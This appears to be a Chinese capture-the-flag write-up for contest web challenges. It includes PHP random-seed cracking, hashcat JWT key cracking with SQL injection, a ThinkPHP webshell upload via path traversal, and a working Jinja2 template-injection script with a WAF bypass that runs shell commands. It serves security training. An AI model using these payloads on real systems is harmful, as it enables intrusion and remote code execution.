挺难评的
省赛web
openthedoor
拿到账号
密码是sysadmin,(可以爆破,但是这题是原题,直接这样吧,懒得爆了
bruteforce1_EzLogin
爆破
账号是admin
token
一眼php伪随机数
str1='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2='R9WLuE5hGV'
str3 = str1[::-1]
length = len(str2)
res=''
for i in range(len(str2)):
for j in range(len(str1)):
if str2[i] == str1[j]:
res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
break
print(res)
#前两个str(j)代表第一个mt_rand()输出的界限,后两个参数0和str(len(str1)-1)表示传递到 mt_rand()的范围为0到61
<?php
mt_srand(2107153532);
function createToken(){
$dic = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
$token = '';
for ( $i = 0; $i <20; $i++ ){
$token .= substr($dic,mt_rand(0, strlen($dic) - 1), 1);
}
$_SESSION['token']=$token;
$top10=substr($token,0,10);
echo $top10;
echo "\n";
echo $token;
}
createToken();
caiji
原题,稍微修改了一点。
ctf2024-wastelands/medpod at master · Interlogica-Cybersec/ctf2024-wastelands (github.com)
爆破拿到key
hashcat -m 16500 hash.txt rockyou.txt
伪造jwt
jwt认证sub那里打一个sql注入拿到所有医生uuid
利用扁鹊的uuid拿到flag
tpf
先讲一下docker的情况
是四台主机,暴露了nginx80端口
nginx--thinkphp--flask--mariadb
通过nginx反代,改变http请求的host头可以访问thinkphp和flask,或者10开头的内网地址
先看看flask。(完整源码我放后面了。
由于这里存在before_request,需要tp主机的ip,以及数据库里面的token。所以直接打是不太可能的。
那我们先看tp
thinkphp
webshell
tp嘛,直接看控制器给了什么。
public function new(){
if(get_client_ip() !== "127.0.0.1") {
die("not");
}
$dir = "/tmp/".sha1(get_client_ip());
if(!file_exists($dir)){
mkdir($dir);
}
echo $dir;
}
public function delete()
{
checkDot(I("name"));
$filename = "/tmp/".I("name");
if(file_exists($filename)){
if(is_dir($filename)){
rmdir($filename);
}
else{
unlink($filename);
}
echo "suc";
}
}
public function up()
{
checkDot(I("post.filename"));
var_dump(I("post.filename"));
$file_content = base64_decode(I("post.content"));
$filename = "/tmp/".sha1(get_client_ip())."/".I("post.filename");
file_put_contents($filename,$file_content);
echo $filename;
}
public function mv()
{
checkDot(I("post.filename1"));
rename("/tmp/".I("post.filename1"),"/tmp/".I("post.filename2"));
echo "suc";
}
给了增删改的函数。
由于file_put_contents()
函数会尝试在指定的路径下创建或写入文件,但前提是该路径的所有父级目录都必须存在。如果路径中的任何目录不存在,PHP 将无法创建文件并会返回 false
,导致写入失败。
所以我们先要创建一个sha1(get_client_ip())
将ip进行sha1加密为名字的文件夹。
然后在tmp目录下写一个一句话木马。
再利用mv函数目录穿越
成功移动到web目录下
一些疑问
这里之所以在mv函数进行目录穿越是因为没有对移动后的文件名进行检验
function checkDot($param)
{
if(strpos($param, '..') !== false) die("???");
}
还有一个奇怪的点,我之前在kali里面启动的环境web目录是不可写的。
但是我后来用dockek desktop启动的环境又可写了。怪
信息收集
拿到权限之后,就得挂代理,寻找内网主机了。
这里拿到了tp的ip。
那就差数据库里的token了。
他这个题目也是抽象,三位都是随机的。
由于app.py里面sql语句是参数化查询,想要sql注入是不太可能了。所以现在唯一的办法就是扫ip找到mysql了。(大概。
用docker直接看ip,不想写了,感觉这题有点抽象了
后来想到为什么flask的配置里面没有ip,为什么也能连接呢?发现原来它是通过主机名直接连接数据库,所以题目三个地方都是随机就是防止我们直接找到ip。
那tp估计也已经连接了数据库,我们直接在tp里面写一个数据库操作的函数来查询数据就好了。
利用这个函数成功拿到token。
flask
源码
import socket
from flask import Flask, request, render_template_string, abort
import mysql.connector
app = Flask(__name__)
db_config = {
'user': 'root',
'password': '123456',
'host': 'mysql',
'database': 'web',
}
def get_db_connection():
return mysql.connector.connect(**db_config)
@app.before_request
def before_request():
php_ip = socket.gethostbyname("php-apache")
if php_ip not in request.headers.get('X-Forwarded-For'):
abort(401)
query = "SELECT token FROM users WHERE token = %s"
token = request.headers.get("token", "")
cnx = get_db_connection()
cursor = cnx.cursor(dictionary=True)
try:
query = "SELECT token FROM users WHERE token = %s"
cursor.execute(query, (token,))
result = cursor.fetchone()
finally:
cursor.close()
cnx.close()
if not result:
abort(401)
data = request.data
if waf(data):
abort(401)
def waf(code):
ban = {b"\\u", b"{{", b"}}", b"{%", b"%}"}
for i in ban:
if i in code:
return True
return False
@app.route('/', methods=["POST"])
def sandbox():
return render_template_string(request.get_json()["code"])
if __name__ == '__main__':
app.run(host="0.0.0.0")
ip以及token我们都拿到了,剩下的利用json会自动转换编码绕过一下就行。
import requests
url = "http://127.0.0.1:23333/"
headers = {
"Host": "flask-app",
"X-Forwarded-For":"10.150.219.156",
"token":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
"Content-Type": "application/json"
}
data='{"code":"{{().__class__.__mro__[-1].__subclasses__()[226].__init__.__globals__[\'__builtins__\'][\'__import__\'](\'os\').popen(\'cat /flag\').read()}}"}'.encode("utf16")
response = requests.post(url, headers=headers,data=data)
print(response.text)
结束。